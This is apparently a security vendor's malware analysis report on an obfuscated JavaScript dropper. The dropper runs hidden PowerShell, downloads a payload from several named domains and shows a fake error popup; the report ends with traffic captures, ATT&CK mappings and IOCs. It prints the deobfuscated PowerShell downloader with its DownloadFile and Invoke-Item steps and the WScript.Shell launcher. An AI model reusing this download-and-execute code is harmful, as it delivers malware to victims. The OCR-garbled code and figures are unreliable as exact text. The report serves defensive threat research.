


JavaScript is a common scripting language that can be used to write malicious codes because of its
user-friendly syntax and easy compiling. PowerShell is used to automate tasks and manage
configurations through scripting. It also consists of a command-line shell.

OVERVIEW

The sample intercepted is a JavaScript that drops executes through PowerShell code and
communicates with malicious servers to download malware. Obfuscation is a technique
used to make the code difficult to understand. Malware creators customize or create
obfuscation techniques to prevent detection like including junk data, encoding the
strings, or dividing and appending two or more strings.

STRUCTURE

PowerShell contains
obfuscated code[Y] and
deobfuscation
mechanism

JavaScript[X] contains an
obfuscated PowerShell
Code

Y downloads malware X creates false error
through PowerShell popup

ENCODING AND OBFUSCATION

The first JavaScript has several variables defined as short strings that are encoded.
Variables are then divided into substrings and stored as another variable.

function tbIviWinK() {

var MQPpzT = "YPUXNT1ARaVdABx2d0EkhM10bwlfSHPBER™

var QiRoN = MQPpzT.substr(7, 20)

wvar itVziIgKRg = QiRoN

var uZiAsMjtwlLV = "PO6TEVVSA30OR0SQYUZFTAxii¥f3iBxhRL1zGGYX1EUKOC™
wvar JEfHaXW = uZiAsMjitwlV.substr (21, 16)

var knJDGL = JEfHaXW

var PbVpcDE = "UCT3QVITYQRDS10J9T38GLESSESLS/1IrVirFeqt+HE1 SRAREXZTOO03M2"™
var OEEouvXonTs = PbVpcDE.substr (27, 19)

var PiUbZAd = OEEcuvXonTs

var TolasdhAz = "2TAZPtlmTCvbgCjE/JUCB4JEEKLTISHUXWYOADETHOHEW™
war Cc¥0uW = Tolasdidz.substr(5, 14)

wvar LZwPibjA = CcYCuW
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The main variable concatenates selected variables and creates one long string. When it is
decoded, we can get a PowerShell Code.

JEITXCYfPkDA = FXzZwKFknz + WawpQjoP + jbQtUQnrEq + VRGmdHQq + UrsuICc + aGwzHUB + zZwzYiodIpn + CwjVRr + IzbbwwPRM + jVgMG + ZZzqsLUcHdS + VYEBVIWVEM +
UMHtNsI + pvUjz + iPPMBK + HDRlsi + daSoQA + PsBURiLQmnE + wmfJilmkL + PiUbZad + VaWhuRiZ + EdNJEEH + zTAmfJDIiZIG + nSulnpKL + LZIwPibjA + zu¥pWRfkj + OBW3TgDSb
+ WSJGiHZULP + CdZmLw0C + rhlizqYf + NJHQFhz + fZWvjCBE + PkTVpVbdZX + MnmtU + nXbvn + dmdsMiwt + ZHChUJEJSLN + wMS5jj + LzUCLtVILJJ + NAGLVpL + mwcHp +
mproEikGQi + NiiRweWX1 + iUEszplz + twHbidZ + nJDGL + uwYJodounK + SEvUsDf + 1fALU + siCpgdaDL + uHAiTZ + idimlVj + JVJzU + QpMkvEiDAC + IGhwPw + wVsimj +
DVMvi + tiUNQah + EpWuZtsXj + ojPol + bmdiwgESML + CVQlbgjj + ACrJXJJkSD + cMGQzhLcRw + dRizijHupK + KTOGvZECK1li + LHoildiCo + foCGZIf + igaPoiUcc + gjolEfaczol
4+ ImPEwmpX=DU + inwlwec + GFPSrisboJ + jNigPwgH + IPntaG + itVziIgKRqg + ofWuM + MOcXFoWrWUk + wjicLLT + ZfLniF 4 ¥YzoQV 4 GihjYawG 4+ FRZzR + 1bXLRs + SENfPwHI +
[ULQFEYbHJ + XVgvoITiUMC 4 rXroWYZUa + TLcJdhBt + DNLEnNGl + mrQnz + IiwkPk + aKril + thOJBb + GBzGzQKDj + WJkppMmTjV 4 niCrLITjrTu + udpMBb + JBzwYHYm + ulsjWah
+ OCqLJGL + LGTshY + BATIp + JXLRAEC + hHzNufXbY¥i + WiNdDjQU3 + IAUsvQmYBEW + kiOYGho + swYbXVYtb + VnpAni + lgP¥nnj + qmpjKa + EYVIVDVi

Figure 2

The PowerShell code obtained has an obfuscated code with a base64 string. It decompresses
and converts the string to give another PowerShell code.

pOWErSHELL . ( $PsHOMe[<]+$pSHoMe[Z0]+'X')
(HEW-ObJeC

FRomBASES4STRING (
L1N+3y4EvRKNETS3/]

quxFgms 2ul60gds

.cOMPrezsionMolE] :

oQlu

:dEComprESe) | fOREacH

Figure 3

The obfuscated PowerShell Code when decoded, gives the following:

&((varIRbLE ' L5 ') JNAMe [2 2]1-JoiN" "y (((" (
+ - - - o

reP'+'1a'+'C eIifAQe, [stR

121+ ] &6) , AQCGX

')-rePLACE ([ChaR]Z0+[ChaR :  _rePLACE'GXa', [ChaR]3

e -CrEPLACe ( [ChaR] 654 [ChaR] 2
1+[ChaR]23), [ChaR]32))

Figure 4

The code obtained is also obfuscated using a customized technique. The unnecessary

characters like “AQ”, “AQc”, "ysB”, etc. are replaced or removed to give a code that downloads
the malware file from any of the given malicious domains.

& [ (varILbLE *MDR*) .NAMe[3,11,2]-JoiN) ( ([ (xPh=3ch;ZCK=new-object Net.WebClient:E5b= http://blueboxxinterior.com/Zz8TbP http://parkradio.ca/b
http://www.cccarlton.com/IzDIW http://www.stampile—sibiu.ro/vbR http://www.meetabella.com/k6Z1pj.Split

ZSM=gqvc:; VWl = T33;NCX=zJLb4:veV= env:temp cIifVwU.exec;foreach(qgKZ in ESb) {try{ZCK.DownloadFile (qKZ, cwveV);0OCT=xkcr:
If ((Get-Item veV).length —gce 80000) {Invoke-Item veV;khk=jDB:;break:}lcatch{}}Eay=Rof:).rePlaCE(([ChAR]102[ChAR]S8[ChAR]52),
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INFECTION

The JavaScript executes the PowerShell code using “WScript.shell” ActiveXobject. This
executes the program in the background. The PowerShell executes the deobfuscation code
and executes the downloader script using the “DownloadFile” command and runs the
executable file automatically using “Invoke-Item”.

var kamQzmMNxAymUS5 = new ActiveXCObject ("WScript.Shell™);
kamCzmMN=zAymUS ["Run™] (jFiTXCYfPkDA, O, 0):
Figure 6

The JavaScript then waits for the complete execution and creates a false pop-up error to
mislead the user or victim.

Windows Script Host @

There was an error opening this document. The file is damaged and could not be
repaired (for example, it was sent as an email attachment and wasn't correctly
decoded).

Figure 7

NETWORK TRAFFIC ANALYSIS

The file attempts to communicate with the C2 server with the following domains, consecutively:
e hxxp://blueboxxinterior.com
e hxxp://parkradio.ca
e hxxp://cccarlton.com
e hxxp://stampile-sibiu.ro
e hxxp://meetabella.com



No. Time: Source Destination Protocol  Length Info

72 13.575544 10.6.2.15 10.0.2.3 DNS 77 Standard query @xa@@l A www.cccarlton.com

73 13.691518 16.8.2.3 18.8.2.15 DNS 126 Standard query response @xa@31 A www.cccarlton.com CNAME cccarlton.wpengine.com A 35.231.36.146

74 13.691522 10.9.2.3 10.8.2.15 DNS 126 Standard query response @xa@@l A www.cccarlton.com CNAME cccarlton.wpengine.com A 35.231.36.146
- T3. 602158 16.9.2.1 35.2351.36. 146 P TG 4017% > 80 [SYN] 5eq=0 Win=510Z Len=0 Mo5=1A60 W5=256 SACK_PERP=T

76 13.988288 35.231.36.146 18.8.2.15 TCP 60 88 + 49174 [SYN, ACK] Seq=@ Ack=1 Win=65535 Len=8 MS5=1460

77 13.988438 10.0.2.15 35.231.36.146 TCP 54 49174 -+ B0 [ACK] Seq=1 Ack=1 Win=64249 Len=0

78 13.988888 16.8.2.15 35.231.36.146 HTTP 126 GET /IzDIW HTTP/1.1

79 13.988974 35.231.36.146 18.8.2.15 TCP 60 80 + 49174 [ACK] Seq=1 Ack=73 Win=65535 Len=0

8@ 14.285248 35.231.36.146 16.8.2.15 TCP 1474 [TCP segment of a reassembled PDU]

81 14.285257 35.231.36.146 18.8.2.15 TCP 1354 [TCP segment of a reassembled PDU]

82 14.285394 16.0.2.15 35.231.36.146 TCP 54 49174 -+ B0 [ACK] Seq=73 Ack=2721 Win=64248 Len=8

83 14.285825 35.231.36.146 18.8.2.15 TCP 1474 [TCP segment of a reassembled PDU]

84 14.285838 35.231.36.146 10.8.2.15 TCP 1474 [TCP segment of a reassembled PDU]

85 14.285834 35.231.36.146 16.8.2.15 TCP 1474 [TCP segment of a reassembled PDU]

86 14.285863 16.8.2.15 35.231.36.146 TCP 54 49174 » 80 [ACK] Seq=73 Ack=6981 Win=64248 Len=8

87 14.285974 35.231.36.146 10.8.2.15 TCP 1234 [TCP segment of a reassembled PDU]

88 14.286457 35.231.36.146 18.8.2.15 TP 1474 [TCP segment of a reassembled PDU]

89 14.286461 35.231.36.146 10.8.2.15 TCP 1474 [TCP segment of a reassembled PDU]

9@ 14.286464 35.231.36.146 16.8.2.15 TCP 1474 [TCP segment of a reassembled PDU]

91 14.286498 16.8.2.15 35.231.36.146 TCP 54 49174 » 8@ [ACK] Seq=73 Ack=12421 Win=62828 Len=8

92 14.286679 35.231.36.146 10.8.2.15 TCP 1234 [TCP segment of a reassembled PDU]

93 14.317912 16.8.2.15 35.231.36.146 TP 54 49174 » 80 [ACK] Seq=73 Ack=13681 Win=64248 Len=@

VIV 5231 14 2 s LITD MITRJI 1 4G4 ok Cound  (rexk/biml

95 14.586313 10.6.2.15 10.0.2.3 DNS 81 Standard query @xe775 A www.stampile-sibiu.ro

96 14.793856 16.8.2.15 35.231.36.146 TCP 54 49174 » 8@ [ACK] Seq=73 Ack=1423@ Win=63611 Len=8

97 15.867663 10.9.2.3 10.8.2.15 DNS 111 Standard query response @xe775 A www.stampile-sibiu.ro CNAME stampile-sibiu.ro A 93.114.243.110

MITRE ATT&CK TECHNIQUES USED

Figure 8

Technique ID

Technique

T1059.001

Command and Scripting Interpreter: PowerShell

T1059.007

Command and Scripting Interpreter: JavaScript/JScript

T1203

Exploitation for Client Execution

T1204.002

User execution: Malicious File

T1140

Deobfuscate/Decode Files or Information

T1001.001

Data Obfuscation: Junk Data

10C'’s

b9bbb8ab3418233009359229781197ea

hxxp://blueboxxinterior.com

hxxp://parkradio.ca

hxxp://cccarlton.com

hxxp://stampile-sibiu.ro

hxxp://meetabella.com

SUBEXSECURE PROTECTION

Subex Secure detects the JavaScript sample as “SS_Gen_Trojan_]JS_A”"

OUR HONEYPOT NETWORK

This report has been prepared from the threat intelligence gathered by our honeypot
network. This honeypot network is today operational in 62 cities across the world. These
cities have at least one of the following attributes:




* Are landing centers for submarine cables

= Are internet traffic hotspots

* House multiple IoT projects with a high number of connected endpoints

* House multiple connected critical infrastructure projects

» Have academic and research centers focusing on [oT

= Have the potential to host multiple IoT projects across domains in the future

Over 3.5 million attacks a day is being registered across this network of individual
honeypots. These attacks are studied, analyzed, categorized, and marked according to a
threat rank index, a priority assessment framework that we have developed within
Subex. The honeypot network includes over 4000 physical and virtual devices covering
over 400 device architectures and varied connectivity flavors globally. These devices are
grouped based on the sectors they belong to for purposes of understanding sectoral
attacks. Thus, a layered flow of threat intelligence is made possible.



